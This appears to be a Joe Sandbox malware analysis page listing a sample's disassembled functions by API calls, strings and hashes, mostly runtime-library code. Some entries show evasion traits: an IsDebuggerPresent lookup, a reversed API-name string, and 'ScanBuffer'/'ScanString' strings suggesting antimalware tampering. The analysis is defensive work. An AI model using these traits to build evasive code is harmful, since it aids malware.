Function 02C2F128 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 02C2F140
_free.LIBCMT ref: 02C2F152
_free.LIBCMT ref: 02C2F164
_free.LIBCMT ref: 02C2F176
_free.LIBCMT ref: 02C2F188

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4ff6445dbd1c139c6c118283ff3a35b6f69cd7d79671e775af14f987f4430014
Instruction ID: 6760e4c03a0cb1fefee2e27a6d800a97e1a2b1a743abc0fa55df1274a03de9c8
Opcode Fuzzy Hash: 4ff6445dbd1c139c6c118283ff3a35b6f69cd7d79671e775af14f987f4430014
Instruction Fuzzy Hash: 67F096324002787BD624EB6DED84C9B77FAAA457543D44809F404D7940DFB0F884AE54

Function 02C34347 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 272COMMONLIBRARYCODE

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 02C34462
__dosmaperr.LIBCMT ref: 02C34481
__dosmaperr.LIBCMT ref: 02C34624

Strings

H, xrefs: 02C345A9

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: __dosmaperr
String ID: H
API String ID: 2332233096-2852464175
Opcode ID: 025001eace35e284d02f7f8ceb0d8143efc63f8ac6326f5556ede81aad0919f8
Instruction ID: 354e2ac27f07d9a362731dbb68644a375bc9032ef7130f5368575c1fc3b376f9
Opcode Fuzzy Hash: 025001eace35e284d02f7f8ceb0d8143efc63f8ac6326f5556ede81aad0919f8
Instruction Fuzzy Hash: 49A16A32A101448FCF2EEF78E841BAD7BA1EB46320F1401A9F815EF391DB358916DB56

Function 02C2CE55 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 02C2CEA4
_free.LIBCMT ref: 02C2CFC1

Strings

*?, xrefs: 02C2CE98
., xrefs: 02C2D178

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free_strpbrk
String ID: *?$.
API String ID: 3300345361-3972193922
Opcode ID: 5dfc5c04e88bff774400eef92f9a188e96d7e5ade9dca766e11bbcc0c0b71fd5
Instruction ID: be63e524c4b08755fe315479c194f9cb47b185696a6f38680e99233787b4dee4
Opcode Fuzzy Hash: 5dfc5c04e88bff774400eef92f9a188e96d7e5ade9dca766e11bbcc0c0b71fd5
Instruction Fuzzy Hash: E0518375E00219AFDF14DFA8C880AADB7B5EF89314F15416AE854E7340DB729B099B50

Function 02B8AA88 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02B8AC58,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02B8AAB7

Part of subcall function 02B8A74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B8A76A

Strings

ggg, xrefs: 02B8AB9D
eeee, xrefs: 02B8ABC6
yyyy, xrefs: 02B8ABAD

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 2063db90a3a644ac7a7f405a0ee1d72694a40f4fce0820541a1b75fa9bb2aed1
Instruction ID: e15a8b52813a1d1561470f60d0b4639c0caab73c993c016c1ba367efa8ba5c1e
Opcode Fuzzy Hash: 2063db90a3a644ac7a7f405a0ee1d72694a40f4fce0820541a1b75fa9bb2aed1
Instruction Fuzzy Hash: B541F1753041064BD712BB698C902BEB3FBEB81204F5449E7E67EC7344EA38E906CE21

Function 02B98020 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B98090,?,?,00000000,?,02B97A06,ntdll,00000000,00000000,02B97A4B,?,?,00000000), ref: 02B9805E

Part of subcall function 02B980C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(?,?), ref: 02B9812D

GetModuleHandleA.KERNELBASE(?), ref: 02B98072

Strings

KernelBASE, xrefs: 02B98059
AeldnaHeludoMteG, xrefs: 02B98039

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: b7443c4ef544cacd868449d880d3ecc8a67ab2b2fa4bdcd95122d33efd72319e
Instruction ID: a599b593a3718ec0285e2559cfe5608e5b5ccb2d50b7e1175ffcdfe2f3a0f5c5
Opcode Fuzzy Hash: b7443c4ef544cacd868449d880d3ecc8a67ab2b2fa4bdcd95122d33efd72319e
Instruction Fuzzy Hash: B6F04971650304BFEF00EBA8D802A5E77AAEB4A740BA189F0F50897A10DA30AD10CA64

Function 02B9EB94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,02B9EF98,UacInitialize,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,ScanBuffer,02BE137C,02BAAFD8,ScanString,02BE137C,02BAAFD8,Initialize), ref: 02B9EB9A
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02B9EBAC

Strings

KernelBase, xrefs: 02B9EB95
IsDebuggerPresent, xrefs: 02B9EBA6

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: 0599b24204b04d17eac865f3a8fdaed0129b57bbc49a27c04d8a9b5b8ff2e440
Instruction ID: c53f71deb4cd9cdc3d453f49dbe707813cf432df9d6911bbdf4a33748a3ba3b4
Opcode Fuzzy Hash: 0599b24204b04d17eac865f3a8fdaed0129b57bbc49a27c04d8a9b5b8ff2e440
Instruction Fuzzy Hash: F5D012B27557901EBE00BAF80CC4C5E03CD8B0562AB240EF2F02BD60E2E6AAC8529520

Function 02B8C3FC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,02BAC10B,00000000,02BAC11E), ref: 02B8C402
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02B8C413

Strings

kernel32.dll, xrefs: 02B8C3FD
GetDiskFreeSpaceExA, xrefs: 02B8C40D

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 5446c4d82e08ba693b0dcbd544fc2e586c82b71f2d6aaa1f3283db5bab93140d
Instruction ID: 30d5f4e4c7826c761ad5e143cbaae48e58a9f8eca252cb83d477fd94b7e396ef
Opcode Fuzzy Hash: 5446c4d82e08ba693b0dcbd544fc2e586c82b71f2d6aaa1f3283db5bab93140d
Instruction Fuzzy Hash: B1D05EE0A413434EE3047AB16882A323B888704748F4C68E6A01D46102C7718490CFA4

Function 02C27C4B Relevance: 6.4, APIs: 4, Instructions: 370COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 02C27CCD
_free.LIBCMT ref: 02C27CF1
_free.LIBCMT ref: 02C27E78
_free.LIBCMT ref: 02C28044

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: cbe724d584c4c688f7c92c89d2af3aac564bebe5498eb7e7b8226ac0d6f42e00
Instruction ID: 12261ae1060e6d9918ccc9ea37127748ea8579376614ea720a07b6af24e38e83
Opcode Fuzzy Hash: cbe724d584c4c688f7c92c89d2af3aac564bebe5498eb7e7b8226ac0d6f42e00
Instruction Fuzzy Hash: CDC129719042659FDB24DF78DC80BBAFBB9EF81310F1401AAD48097291EF718A4DDB54

Function 02C2A19F Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 02C2A22A
__alldvrm.LIBCMT ref: 02C2A42B
__alldvrm.LIBCMT ref: 02C2A44D

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 03e8336be6feeefa5c512672f5a0d1266db9fcb18614ce6fe0fce40636c8e9f5
Instruction ID: 9040815539cbf30683f55d585b171ee4099e92a22c6772ec5a99ea1d94652b00
Opcode Fuzzy Hash: 03e8336be6feeefa5c512672f5a0d1266db9fcb18614ce6fe0fce40636c8e9f5
Instruction Fuzzy Hash: C4A19C72D003A69FD715CF58C8817BEBBE5EF95350F1441ADD8999B281CB38CA49CB50

Function 02C2B4EF Relevance: 6.3, APIs: 4, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1a9ba8701dd1ff07f611dd49c6527d64924ec2b1001cab84c3fe07def6274ef
Instruction ID: d61574705d20a4b2f1908963962db32cd0788f50c44ff0797fe4d77fb7f6f65a
Opcode Fuzzy Hash: b1a9ba8701dd1ff07f611dd49c6527d64924ec2b1001cab84c3fe07def6274ef
Instruction Fuzzy Hash: D4C1F374E042599FCB11DFA8D841BEDBBB1AF4A308F044195E858A7392CB709E49CF75

Function 02C2128D Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 708417122de2711bb2eb7b93dd9c5bc77eababb27f74811c5393ad6cf28abd82
Instruction ID: 4ebed44dfc9d5030ca14a01f74b4ffed1e95a04481778ac5351ed666df7f3848
Opcode Fuzzy Hash: 708417122de2711bb2eb7b93dd9c5bc77eababb27f74811c5393ad6cf28abd82
Instruction Fuzzy Hash: F04129B2A00714AFD7259F78CC41B9A7BEBEB89710F14452AF019DB681DBB19A059F80

Function 02B8E170 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02B8E21F
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02B8E23B
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02B8E2B2
VariantClear.OLEAUT32(?), ref: 02B8E2DB

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: e164d1e99a325540b15e50a628cddb64a20d26c671c6ee6d7e0287f7c442ac9d
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 2C41E775A0062A9BCB61EF68CC90BD9B3BDAF49614F4042D6E64CA7251DA30EF80CF51

Function 02B8ACC4 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B8ACE1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B8AD05
GetModuleFileNameA.KERNEL32(02B80000,?,00000105), ref: 02B8AD20
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B8ADB6

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: f3a5b4e281a5385a5d422858d575297f5170b854b631361198c346ce602277d7
Instruction ID: 020d07a2367a52c669e6449164ada2ba124696ac4a3ed9fb31f1c5f40dee9df3
Opcode Fuzzy Hash: f3a5b4e281a5385a5d422858d575297f5170b854b631361198c346ce602277d7
Instruction Fuzzy Hash: DA411A71A402589BDB61EB68CC84BDAB7FDAB18301F4444E6A64CE7251EB749F84CF50

Function 02B8ACC2 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B8ACE1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B8AD05
GetModuleFileNameA.KERNEL32(02B80000,?,00000105), ref: 02B8AD20
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B8ADB6

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: a90c939674047f4835d28c0887c519078ad7e3ceabcd1f77cb4434a912a6d82c
Instruction ID: c11526136f2661489bc28ee0db205843ce0011f901268799c4cfeae0d4b59900
Opcode Fuzzy Hash: a90c939674047f4835d28c0887c519078ad7e3ceabcd1f77cb4434a912a6d82c
Instruction Fuzzy Hash: 2B413C71A402589BDB61FB68CC84BDAB7FDAB18301F4444E6A64CE7251EB749F84CF50

Function 02C18B8F Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 02C18BA6

Part of subcall function 02C191DE: ___BuildCatchObjectHelper.LIBVCRUNTIME ref: 02C1920D
Part of subcall function 02C191DE: ___AdjustPointer.LIBCMT ref: 02C19228

_UnwindNestedFrames.LIBCMT ref: 02C18BBD
___FrameUnwindToState.LIBVCRUNTIME ref: 02C18BCF
CallCatchBlock.LIBVCRUNTIME ref: 02C18BF3

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction ID: 71a4ab48879f547eb3e74cb8191a0da6d9428b87dbd0948d47045fbb436a7832
Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction Fuzzy Hash: 23011332004109BBDF12AF55CC06EDA3BAAFF8A754F054214FE1866120C336E5A1FFA0

Function 02C1825D Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 02C1825D
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 02C18262
___vcrt_initialize_locks.LIBVCRUNTIME ref: 02C18267

Part of subcall function 02C19766: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 02C19777

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 02C1827C

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

